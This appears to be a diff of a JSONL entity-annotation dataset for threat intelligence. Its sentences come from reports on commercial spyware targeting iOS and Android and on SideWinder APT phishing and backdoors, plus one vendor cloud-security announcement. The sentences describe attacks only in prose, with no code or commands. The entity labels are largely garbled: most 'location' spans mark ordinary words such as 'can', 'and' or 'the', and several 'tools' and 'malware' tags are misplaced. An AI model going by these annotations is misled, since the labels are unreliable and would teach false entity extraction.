-{"id":11578,"text":"These apps still run inside the iOS app sandbox and are subject to the exact same technical privacy and security enforcement mechanisms (e.g. code side loading) as any App Store apps.","entities":[{"id":35508,"label":"location","start_offset":48,"end_offset":51},{"id":35509,"label":"location","start_offset":52,"end_offset":55},{"id":35510,"label":"location","start_offset":77,"end_offset":81},{"id":35511,"label":"location","start_offset":100,"end_offset":103},{"id":35512,"label":"location","start_offset":104,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":11579,"text":"They can, however, be sideloaded on any device and don't need to be installed via the App Store.","entities":[{"id":35514,"label":"location","start_offset":5,"end_offset":8},{"id":35515,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":11580,"text":"We do not believe the apps were ever available on the App Store.","entities":[{"id":35517,"label":"location","start_offset":32,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":11581,"text":"The app is broken up into multiple parts.","entities":[],"relations":[],"Comments":[]}
 {"id":11582,"text":"It contains a generic privilege escalation exploit wrapper which is used by six different exploits.","entities":[{"id":35519,"label":"attack-pattern","start_offset":22,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":11583,"text":"It also contains a minimalist agent capable of exfiltrating interesting files from the device, such as the Whatsapp database.","entities":[],"relations":[],"Comments":[]}
-{"id":11584,"text":"The app we analyzed contained the following exploits: All exploits used before 2021 are based on public exploits written by different jailbreaking communities.","entities":[{"id":35523,"label":"location","start_offset":84,"end_offset":87},{"id":35524,"label":"location","start_offset":97,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":11585,"text":"At the time of discovery, we believe CVE-2021-30883 and CVE-2021-30983 were two 0-day exploits.","entities":[{"id":35525,"label":"location","start_offset":7,"end_offset":11},{"id":35526,"label":"location","start_offset":52,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":11586,"text":"In collaboration with TAG, Project Zero has published the technical analysis of CVE-2021-30983.","entities":[],"relations":[],"Comments":[]}
 {"id":11587,"text":"Installing the downloaded APK requires the victim to enable installation of applications from unknown sources.","entities":[],"relations":[],"Comments":[]}
 {"id":11588,"text":"Although the applications were never available in Google Play, we have notified the Android users of infected devices and implemented changes in Google Play Protect to protect all users.  Android Implant This analysis is based on fe95855691cada4493641bc4f01eb00c670c002166d6591fe38073dd0ea1d001 that was uploaded to VirusTotal on May 27.","entities":[{"id":35532,"label":"location","start_offset":118,"end_offset":121},{"id":35534,"label":"SHA1","start_offset":230,"end_offset":294}],"relations":[],"Comments":[]}
-{"id":11589,"text":"We have not identified many differences across versions.","entities":[{"id":35537,"label":"location","start_offset":23,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":11590,"text":"This is the same malware family that was described in detail by Lookout on June 16.","entities":[{"id":35538,"label":"location","start_offset":12,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":11591,"text":"The Android app disguises itself as a legitimate Samsung application via its icon: When the user launches the application, a webview is opened that displays a legitimate website related to the icon.","entities":[],"relations":[],"Comments":[]}
-{"id":11592,"text":"Upon installation, it requests many permissions via the Manifest file: The configuration of the application is contained in the res\/raw\/out resource file.","entities":[{"id":35542,"label":"location","start_offset":31,"end_offset":35},{"id":35543,"label":"location","start_offset":56,"end_offset":64}],"relations":[],"Comments":[]}
 {"id":11593,"text":"The configuration is encoded with a 105-byte XOR key.","entities":[],"relations":[],"Comments":[]}
-{"id":11594,"text":"The decoding is performed by a native library libvoida2dfae4581f5.so that contains a function to decode the configuration.","entities":[{"id":35545,"label":"location","start_offset":38,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":11595,"text":"A configuration looks like the following: Older samples decode the configuration in the Java code with a shorter XOR key.","entities":[{"id":35547,"label":"location","start_offset":88,"end_offset":92},{"id":35548,"label":"location","start_offset":105,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":11596,"text":"The C2 communication in this sample is via Firebase Cloud Messaging, while in other samples, Huawei Messaging Service has been observed in use.","entities":[{"id":35549,"label":"location","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":11597,"text":"A second C2 server is provided for uploading data and retrieving modules.","entities":[{"id":35554,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":11598,"text":"While the APK itself does not contain any exploits, the code hints at the presence of exploits that could be downloaded and executed.","entities":[{"id":35555,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":11599,"text":"Functionality is present to fetch and run remote modules via the DexClassLoader API.","entities":[{"id":35556,"label":"location","start_offset":34,"end_offset":37},{"id":35557,"label":"location","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":11600,"text":" These modules can communicate events to the main app.","entities":[{"id":35558,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":11601,"text":"The names of these events show the capabilities of these modules: TAG did not obtain any of the remote modules.","entities":[{"id":35560,"label":"location","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":11602,"text":"This campaign is a good reminder that attackers do not always use exploits to achieve the permissions they need.","entities":[{"id":35561,"label":"location","start_offset":5,"end_offset":13},{"id":35562,"label":"location","start_offset":19,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":11603,"text":"Basic infection vectors and drive by downloads still work and can be very efficient with the help from local ISPs.","entities":[{"id":35563,"label":"location","start_offset":24,"end_offset":27},{"id":35564,"label":"location","start_offset":58,"end_offset":61},{"id":35565,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":11604,"text":"To protect our users, we have warned all Android victims, implemented changes in Google Play Protect and disabled Firebase projects used as C2 in this campaign.","entities":[{"id":35567,"label":"location","start_offset":101,"end_offset":104},{"id":35569,"label":"location","start_offset":151,"end_offset":159}],"relations":[],"Comments":[]}
-{"id":11605,"text":"We assess, based on the extensive body of research and analysis by TAG and Project Zero, that the commercial spyware industry is thriving and growing at a significant rate.","entities":[{"id":35570,"label":"location","start_offset":51,"end_offset":54},{"id":35572,"label":"location","start_offset":71,"end_offset":74},{"id":35574,"label":"location","start_offset":117,"end_offset":125},{"id":35575,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":11606,"text":"This trend should be concerning to all Internet users.","entities":[],"relations":[],"Comments":[]}
-{"id":11607,"text":"These vendors are enabling the proliferation of dangerous hacking tools and arming governments that would not be able to develop these capabilities in-house.","entities":[{"id":35576,"label":"location","start_offset":14,"end_offset":17},{"id":35577,"label":"location","start_offset":72,"end_offset":75},{"id":35578,"label":"location","start_offset":151,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":11608,"text":"While use of surveillance technologies may be legal under national or international laws, they are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians.","entities":[{"id":35579,"label":"location","start_offset":39,"end_offset":42},{"id":35580,"label":"location","start_offset":58,"end_offset":66},{"id":35581,"label":"location","start_offset":70,"end_offset":83},{"id":35582,"label":"location","start_offset":84,"end_offset":88},{"id":35583,"label":"location","start_offset":95,"end_offset":98},{"id":35584,"label":"location","start_offset":241,"end_offset":244}],"relations":[],"Comments":[]}
-{"id":11609,"text":"Aside from these concerns, there are other reasons why this industry presents a risk to the Internet.","entities":[{"id":35585,"label":"location","start_offset":33,"end_offset":36},{"id":35586,"label":"location","start_offset":60,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":11610,"text":"While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret poses a severe risk to the Internet especially if the vendor gets compromised.","entities":[{"id":35587,"label":"tools","start_offset":67,"end_offset":73},{"id":35588,"label":"location","start_offset":116,"end_offset":124},{"id":35590,"label":"location","start_offset":247,"end_offset":253}],"relations":[],"Comments":[]}
 {"id":11611,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[{"id":35592,"label":"malware","start_offset":83,"end_offset":90},{"id":35593,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":11612,"text":"This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.","entities":[{"id":35595,"label":"location","start_offset":59,"end_offset":63},{"id":35596,"label":"location","start_offset":156,"end_offset":159},{"id":35597,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]}
-{"id":11613,"text":"Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers, governments and technology platforms.","entities":[{"id":35598,"label":"location","start_offset":62,"end_offset":70},{"id":35599,"label":"location","start_offset":71,"end_offset":75},{"id":35600,"label":"location","start_offset":229,"end_offset":232}],"relations":[],"Comments":[]}
 {"id":11614,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[{"id":35601,"label":"location","start_offset":53,"end_offset":56},{"id":35602,"label":"tools","start_offset":71,"end_offset":77},{"id":35603,"label":"location","start_offset":78,"end_offset":81},{"id":35604,"label":"location","start_offset":82,"end_offset":90},{"id":35605,"label":"location","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":11615,"text":"Sample hashes Drive-by download domains C2 domains C2 IPs","entities":[{"id":35606,"label":"location","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":11616,"text":"AWS CloudFormation allows customers to automate and scale cloud native infrastructure deployments using AWS services.","entities":[{"id":35607,"label":"location","start_offset":48,"end_offset":51},{"id":35608,"label":"location","start_offset":58,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":11617,"text":"For these services, as part of the AWS Shared Responsibility model, the customer and AWS are both responsible for security and compliance.","entities":[{"id":35610,"label":"location","start_offset":61,"end_offset":66},{"id":35611,"label":"location","start_offset":81,"end_offset":84},{"id":35613,"label":"location","start_offset":89,"end_offset":92},{"id":35614,"label":"location","start_offset":114,"end_offset":122},{"id":35615,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":11618,"text":" For the customer’s part, it has taken time and effort to connect and add security controls beyond what is built into the infrastructure.","entities":[{"id":35616,"label":"location","start_offset":39,"end_offset":43},{"id":35617,"label":"location","start_offset":44,"end_offset":47},{"id":35618,"label":"location","start_offset":48,"end_offset":54},{"id":35619,"label":"location","start_offset":66,"end_offset":69},{"id":35620,"label":"location","start_offset":74,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":11619,"text":"Customers have needed to understand a lot of details about the implementation of security technologies to automate them, which is less scalable.","entities":[{"id":35621,"label":"location","start_offset":38,"end_offset":41},{"id":35622,"label":"location","start_offset":81,"end_offset":89},{"id":35623,"label":"location","start_offset":115,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":11620,"text":"Trend Micro, an AWS Partner Network (APN) Advanced Technology Partner strives to make all of our security tools work as seamlessly as possible with cloud native infrastructure.","entities":[{"id":35625,"label":"location","start_offset":97,"end_offset":105},{"id":35626,"label":"location","start_offset":148,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":11621,"text":"However, nothing can quite work as seamlessly as having the resources available to deploy in the same way as the infrastructure itself.","entities":[{"id":35627,"label":"location","start_offset":17,"end_offset":20},{"id":35628,"label":"location","start_offset":97,"end_offset":101},{"id":35629,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":11622,"text":" AWS has responded to this customer request by offering partner CloudFormation Resource Types directly from the AWS Management Console.","entities":[],"relations":[],"Comments":[]}
-{"id":11623,"text":"We are proud to collaborate with CloudFormation and offer Trend Micro Cloud One services directly from CloudFormation with the same tooling and repeatability, including detecting any changes or drift in that resource after deployment.","entities":[{"id":35631,"label":"location","start_offset":3,"end_offset":6},{"id":35633,"label":"location","start_offset":48,"end_offset":51},{"id":35635,"label":"location","start_offset":70,"end_offset":75},{"id":35636,"label":"location","start_offset":76,"end_offset":79},{"id":35638,"label":"location","start_offset":127,"end_offset":131},{"id":35639,"label":"location","start_offset":140,"end_offset":143},{"id":35640,"label":"location","start_offset":194,"end_offset":199}],"relations":[],"Comments":[]}
-{"id":11624,"text":"Now customers can express their intent to deploy a security capability as a resource in the same way they express their intent to deploy an AWS resource.","entities":[{"id":35641,"label":"location","start_offset":14,"end_offset":17},{"id":35642,"label":"location","start_offset":51,"end_offset":59},{"id":35643,"label":"location","start_offset":92,"end_offset":96},{"id":35644,"label":"location","start_offset":97,"end_offset":100}],"relations":[],"Comments":[]}
 {"id":11625,"text":"CloudFormation now handles the details of automating that implementation, reducing the knowledge needed about the underlying mechanisms to automate that resource deployment.","entities":[],"relations":[],"Comments":[]}
-{"id":11626,"text":" Today with the launch, Trend Micro Cloud One Container Security is available as a CloudFormation resource type.","entities":[{"id":35649,"label":"location","start_offset":36,"end_offset":41},{"id":35650,"label":"location","start_offset":42,"end_offset":45},{"id":35651,"label":"location","start_offset":56,"end_offset":64},{"id":35653,"label":"location","start_offset":107,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":11627,"text":"Cloud One – Network Security, Workload Security, Conformity, and File Storage Security as CloudFormation Resource Types will be coming soon.","entities":[{"id":35654,"label":"location","start_offset":0,"end_offset":5},{"id":35655,"label":"location","start_offset":6,"end_offset":9},{"id":35656,"label":"location","start_offset":20,"end_offset":28},{"id":35657,"label":"location","start_offset":39,"end_offset":47},{"id":35658,"label":"location","start_offset":61,"end_offset":64},{"id":35659,"label":"location","start_offset":78,"end_offset":86},{"id":35660,"label":"location","start_offset":120,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":11628,"text":"     Trend Micro Cloud One – Container Security resource type in AWS Management Console.","entities":[{"id":35661,"label":"location","start_offset":11,"end_offset":16},{"id":35662,"label":"location","start_offset":17,"end_offset":22},{"id":35663,"label":"location","start_offset":23,"end_offset":26},{"id":35664,"label":"location","start_offset":39,"end_offset":47},{"id":35665,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":11629,"text":"     Each service is great for customers to easily connect new AWS resources into their Cloud One account directly from the AWS Management Console.","entities":[{"id":35667,"label":"location","start_offset":88,"end_offset":93},{"id":35668,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":11630,"text":"For example, Cloud One – Container Security would be deployed to simplify your visibility of containers running in AWS, rather than manually connecting the accounts.","entities":[{"id":35669,"label":"location","start_offset":13,"end_offset":18},{"id":35670,"label":"location","start_offset":19,"end_offset":22},{"id":35671,"label":"location","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":11631,"text":"This integration enables joint customers to deploy all related security technologies as they add new AWS resources in a simple, automated way all in one place.","entities":[{"id":35673,"label":"location","start_offset":63,"end_offset":71},{"id":35675,"label":"location","start_offset":138,"end_offset":141},{"id":35676,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":11632,"text":" We are excited about this move by AWS, and our opportunity to reduce friction for customers to adopt and deploy our solutions the same way they deploy their AWS resources.","entities":[{"id":35677,"label":"location","start_offset":4,"end_offset":7},{"id":35679,"label":"location","start_offset":40,"end_offset":43},{"id":35680,"label":"location","start_offset":48,"end_offset":59},{"id":35681,"label":"location","start_offset":102,"end_offset":105},{"id":35682,"label":"location","start_offset":131,"end_offset":135},{"id":35683,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
-{"id":11633,"text":"Customers can now save time and energy by natively deploying security resources into IaC the same way as the rest of your cloud native infrastructure.","entities":[{"id":35685,"label":"location","start_offset":10,"end_offset":13},{"id":35686,"label":"location","start_offset":18,"end_offset":22},{"id":35687,"label":"location","start_offset":23,"end_offset":27},{"id":35688,"label":"location","start_offset":28,"end_offset":31},{"id":35689,"label":"location","start_offset":32,"end_offset":38},{"id":35690,"label":"location","start_offset":61,"end_offset":69},{"id":35691,"label":"location","start_offset":93,"end_offset":97},{"id":35692,"label":"location","start_offset":98,"end_offset":101},{"id":35693,"label":"location","start_offset":122,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":11634,"text":"  Try Trend Micro Cloud One today and Learn more about how it simplifies deployment and procurement with AWS Marketplace.","entities":[{"id":35696,"label":"location","start_offset":34,"end_offset":37},{"id":35697,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":11635,"text":"    Tags  Cloud | Malware | Cyber Crime | Exploits & Vulnerabilities | Phishing | Deep Web | Cyber Threats | APT & Targeted Attacks | Compliance & Risks | Articles, News, Reports | Security Strategies","entities":[{"id":35698,"label":"location","start_offset":10,"end_offset":15},{"id":35699,"label":"attack-pattern","start_offset":71,"end_offset":79},{"id":35700,"label":"location","start_offset":109,"end_offset":112},{"id":35701,"label":"location","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]}
 {"id":11636,"text":"While tracking the activities of the SideWinder group, which has become infamous for targeting the South Asia region and its surrounding countries, we identified a server used to deliver a malicious LNK file and host multiple credential phishing pages.","entities":[{"id":35704,"label":"location","start_offset":110,"end_offset":116},{"id":35705,"label":"location","start_offset":117,"end_offset":120},{"id":35706,"label":"location","start_offset":208,"end_offset":211},{"id":35707,"label":"location","start_offset":212,"end_offset":216},{"id":35708,"label":"attack-pattern","start_offset":237,"end_offset":245}],"relations":[],"Comments":[]}
 {"id":11637,"text":"We learned that these pages were copied from their victims’ webmail login pages and subsequently modified for phishing.","entities":[{"id":35709,"label":"location","start_offset":3,"end_offset":10},{"id":35710,"label":"location","start_offset":80,"end_offset":83},{"id":35711,"label":"attack-pattern","start_offset":110,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":11638,"text":"We believe further activities are propagated via spear-phishing attacks.","entities":[{"id":35712,"label":"location","start_offset":30,"end_offset":33},{"id":35713,"label":"location","start_offset":49,"end_offset":54},{"id":35714,"label":"attack-pattern","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":11639,"text":"The group’s targets include multiple government and military units, mainly in Nepal and Afghanistan.","entities":[{"id":35715,"label":"location","start_offset":48,"end_offset":51},{"id":35717,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":11640,"text":" After the gathered credentials are sent, some of the phishing pages will redirect victims to different documents or news pages.","entities":[{"id":35719,"label":"location","start_offset":32,"end_offset":35},{"id":35720,"label":"attack-pattern","start_offset":54,"end_offset":62},{"id":35721,"label":"location","start_offset":69,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":11641,"text":"The themes and topics of these pages and documents are related to either Covid-19 or recent territory disputes between Nepal, Pakistan, India, and China.","entities":[{"id":35722,"label":"location","start_offset":11,"end_offset":14},{"id":35723,"label":"location","start_offset":37,"end_offset":40},{"id":35724,"label":"location","start_offset":51,"end_offset":54},{"id":35725,"label":"location","start_offset":111,"end_offset":118},{"id":35729,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
 {"id":11642,"text":"Furthermore, it seems that these lures are distributed via phishing links.","entities":[{"id":35731,"label":"location","start_offset":39,"end_offset":42},{"id":35732,"label":"attack-pattern","start_offset":59,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":11643,"text":"We also found multiple Android APK files on their phishing server.","entities":[{"id":35734,"label":"attack-pattern","start_offset":50,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":11644,"text":"While some of them are benign, we also discovered malicious files created with Metasploit.","entities":[{"id":35735,"label":"location","start_offset":14,"end_offset":18},{"id":35736,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":11645,"text":"One of the normal applications, called “OpinionPoll,” is a survey app for gathering opinions regarding the Nepal-India political map dispute, which seems to be another political lure similar to the one they used in the spear-phishing portion.","entities":[{"id":35739,"label":"location","start_offset":11,"end_offset":17},{"id":35741,"label":"location","start_offset":59,"end_offset":65},{"id":35744,"label":"location","start_offset":178,"end_offset":182},{"id":35745,"label":"location","start_offset":198,"end_offset":201},{"id":35746,"label":"location","start_offset":219,"end_offset":224},{"id":35747,"label":"attack-pattern","start_offset":225,"end_offset":233}],"relations":[],"Comments":[]}
-{"id":11646,"text":"We believe these applications are still under development and will likely be used to compromise mobile devices in the future.","entities":[{"id":35748,"label":"location","start_offset":30,"end_offset":33},{"id":35749,"label":"location","start_offset":58,"end_offset":61},{"id":35750,"label":"location","start_offset":62,"end_offset":66},{"id":35751,"label":"location","start_offset":67,"end_offset":73},{"id":35752,"label":"location","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":11647,"text":"SideWinder has been very active in 2020.","entities":[],"relations":[],"Comments":[]}
-{"id":11648,"text":"Earlier this year, we published a report on how the SideWinder APT group used the Binder exploit to attack mobile devices.","entities":[{"id":35757,"label":"location","start_offset":63,"end_offset":66},{"id":35759,"label":"location","start_offset":107,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":11649,"text":"The group also launched attacks against Pakistan, Bangladesh, and China using lure files related to Covid-19.","entities":[{"id":35762,"label":"location","start_offset":62,"end_offset":65},{"id":35764,"label":"location","start_offset":78,"end_offset":82}],"relations":[],"Comments":[]}
 {"id":11650,"text":"Analysis of the malicious document","entities":[],"relations":[],"Comments":[]}
 {"id":11651,"text":"The use of malicious documents is one of SideWinder’s most common infection vectors.","entities":[{"id":35765,"label":"location","start_offset":34,"end_offset":37},{"id":35766,"label":"threat-actor","start_offset":41,"end_offset":51},{"id":35767,"label":"location","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":11652,"text":"We collected several different samples from the campaign, including: 1.      An LNK file that downloads an RTF file and drops a JavaScript file 2.      A ZIP file containing an LNK file, which downloads an HTA file (with JavaScript) 3.      An RTF file that drops a JavaScript file 4.      A PDF file with an embedded JavaScript stream 5.      A DOCX file with an external link to an OLE object (RTF file), which contains and drops a JavaScript file      Figure 1.","entities":[{"id":35768,"label":"location","start_offset":48,"end_offset":56},{"id":35769,"label":"location","start_offset":116,"end_offset":119},{"id":35770,"label":"location","start_offset":422,"end_offset":425}],"relations":[],"Comments":[]}
 {"id":11653,"text":"An example of a downloaded ZIP file containing an LNK file that is used to download a malicious HTA file","entities":[],"relations":[],"Comments":[]}
 {"id":11654,"text":"     All of these cases end up with either the downloading or dropping of files and then the execution of JavaScript code, which is a dropper used to install the main backdoor + stealer.","entities":[{"id":35772,"label":"location","start_offset":80,"end_offset":83},{"id":35773,"label":"malware","start_offset":178,"end_offset":185}],"relations":[],"Comments":[]}
 {"id":11655,"text":"The downloaded RTF files exploit the CVE-2017-11882 vulnerability","entities":[],"relations":[],"Comments":[]}
@@ -11658,64 +8088,39 @@
 {"id":11658,"text":"A scheduled task with a command to execute the dropped backdoor + stealer     ","entities":[{"id":35779,"label":"attack-pattern","start_offset":2,"end_offset":16},{"id":35780,"label":"malware","start_offset":66,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":11659,"text":"The content of the newly created folder contains a few files, including Rekeywiz (EFS REKEY wizard, FA86B5BC5343CA92C235304B8DCBCF4188C6BE7D4621C625564BEBD5326ED850), which is a legitimate Windows application.","entities":[{"id":35781,"label":"location","start_offset":4,"end_offset":11},{"id":35782,"label":"SHA2","start_offset":100,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":11660,"text":"      Figure 3.","entities":[],"relations":[],"Comments":[]}
-{"id":11661,"text":"List of dropped files","entities":[{"id":35784,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
-{"id":11662,"text":"    This application loads various system DLL libraries, including shell32.dll, which sideloads DUser.dll, one of shell32’s DelayImports.","entities":[{"id":35785,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":11663,"text":"      Figure 4. DUser library as DelayImport of shell32 library     However, a fake DUser.dll gets loaded into the process.","entities":[{"id":35787,"label":"location","start_offset":22,"end_offset":29},{"id":35788,"label":"location","start_offset":56,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":11664,"text":"This fake DLL library decrypts the main backdoor + stealer from the .tmp file in the same directory.","entities":[{"id":35789,"label":"location","start_offset":14,"end_offset":21},{"id":35790,"label":"malware","start_offset":51,"end_offset":58},{"id":35791,"label":"location","start_offset":85,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":11665,"text":"     Figure 5. Algorithm for decrypting both main backdoor + stealer and configuration     ","entities":[{"id":35793,"label":"malware","start_offset":61,"end_offset":68},{"id":35794,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":11666,"text":"The decryption process is a simple XOR, where the key is the first 32 bytes from the encrypted file and the payload are the remaining bytes.","entities":[{"id":35795,"label":"location","start_offset":100,"end_offset":103},{"id":35796,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
 {"id":11667,"text":"The decrypted payload is the main backdoor .NET executable binary.","entities":[],"relations":[],"Comments":[]}
 {"id":11668,"text":"     Figure 6.","entities":[],"relations":[],"Comments":[]}
-{"id":11669,"text":"Decrypted main SystemApp with listing its classes and resources     ","entities":[{"id":35798,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":11670,"text":"In Resources, the Default resource contains the encrypted configuration.","entities":[],"relations":[],"Comments":[]}
 {"id":11671,"text":"After decryption (using the same principle as with the main backdoor + stealer), the configuration reveals which file formats the attackers are targeting.","entities":[{"id":35799,"label":"location","start_offset":28,"end_offset":32},{"id":35800,"label":"malware","start_offset":71,"end_offset":78},{"id":35801,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]}
 {"id":11672,"text":"     Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":11673,"text":"The decrypted configuration     The main functions of the backdoor + stealer are:  1) Downloading the .NET executable and running it 2) Collecting system information and uploading it to the command-and-control (C&C) server 3) Uploading selected files to the C&C server","entities":[{"id":35803,"label":"malware","start_offset":69,"end_offset":76},{"id":35804,"label":"location","start_offset":77,"end_offset":80},{"id":35805,"label":"location","start_offset":118,"end_offset":121},{"id":35806,"label":"location","start_offset":166,"end_offset":169},{"id":35807,"label":"location","start_offset":198,"end_offset":201}],"relations":[],"Comments":[]}
-{"id":11674,"text":"The collected information is in JSON format (hence why the Newtonsoft_Json library stored in Resources is loaded) and includes information such as privileges, user accounts, computer system information, antivirus programs, running processes, processor information, operating system information, timezone, installed Windows updates, network information, list of directories in Users\\%USERNAME%\\Desktop, Users\\%USERNAME%\\Downloads, Users\\%USERNAME%\\Documents, Users\\%USERNAME%\\Contacts, as well as information on all drives and installed apps.","entities":[{"id":35808,"label":"location","start_offset":75,"end_offset":82},{"id":35810,"label":"location","start_offset":114,"end_offset":117},{"id":35811,"label":"location","start_offset":353,"end_offset":357},{"id":35812,"label":"location","start_offset":522,"end_offset":525}],"relations":[],"Comments":[]}
 {"id":11675,"text":"The spear-phishing attack","entities":[{"id":35813,"label":"location","start_offset":4,"end_offset":9},{"id":35814,"label":"attack-pattern","start_offset":10,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":11676,"text":"We found several interesting dynamic DNS domains resolving to a server that was used to deliver SideWinder’s malicious documents.","entities":[],"relations":[],"Comments":[]}
-{"id":11677,"text":"The subdomains of these dynamic DNS domains are designed to be similar to the domains of their victims’ mail servers.","entities":[{"id":35816,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":11678,"text":"For example, “mail-nepalgovnp[.]duckdns[.]org” was created to pretend to be the original Nepal government’s domain “mail[.]nepal[.]gov[.]np”.","entities":[],"relations":[],"Comments":[]}
 {"id":11679,"text":"Digging deeper, we found that it hosted several phishing pages.","entities":[{"id":35818,"label":"attack-pattern","start_offset":48,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":11680,"text":"These pages were copied from the webmail servers of various targets and then modified for spear-phishing attacks designed to steal login credentials.","entities":[{"id":35819,"label":"location","start_offset":68,"end_offset":71},{"id":35820,"label":"location","start_offset":90,"end_offset":95},{"id":35821,"label":"attack-pattern","start_offset":96,"end_offset":104}],"relations":[],"Comments":[]}
 {"id":11681,"text":"Although it’s not clear to us how these phishing pages are delivered to the victims, finding the original webmail servers that they copied to make these phishing pages allows us to identify who they were targeting.","entities":[{"id":35822,"label":"location","start_offset":18,"end_offset":23},{"id":35823,"label":"attack-pattern","start_offset":40,"end_offset":48},{"id":35824,"label":"location","start_offset":55,"end_offset":58},{"id":35825,"label":"attack-pattern","start_offset":153,"end_offset":161}],"relations":[],"Comments":[]}
 {"id":11682,"text":"Analysis of the phishing pages revealed that most of them would redirect to the original webmail servers, which they copied after the victims sent out their login credentials.","entities":[{"id":35826,"label":"attack-pattern","start_offset":16,"end_offset":24},{"id":35827,"label":"location","start_offset":45,"end_offset":49},{"id":35828,"label":"location","start_offset":53,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":11683,"text":"However, we also found some of them will either redirect to documents or news pages.","entities":[{"id":35829,"label":"location","start_offset":31,"end_offset":35},{"id":35830,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":11684,"text":"These documents and news are probably interesting in some way to their targets and are used to make them click and log in to the phishing pages.","entities":[{"id":35831,"label":"location","start_offset":16,"end_offset":19},{"id":35832,"label":"location","start_offset":25,"end_offset":28},{"id":35833,"label":"location","start_offset":58,"end_offset":61},{"id":35834,"label":"location","start_offset":79,"end_offset":82},{"id":35835,"label":"location","start_offset":83,"end_offset":86},{"id":35836,"label":"location","start_offset":100,"end_offset":104},{"id":35837,"label":"location","start_offset":111,"end_offset":114},{"id":35838,"label":"attack-pattern","start_offset":129,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":11685,"text":"While several of the documents are related to Covid-19, we also found some documents or news related to territorial issues in South Asia, including:  “India Should Realise China Has Nothing to Do With Nepal’s Stand on Lipulekh” – a news article that discusses India-China conflicts in May.","entities":[{"id":35839,"label":"location","start_offset":31,"end_offset":34},{"id":35845,"label":"location","start_offset":266,"end_offset":271}],"relations":[],"Comments":[]}
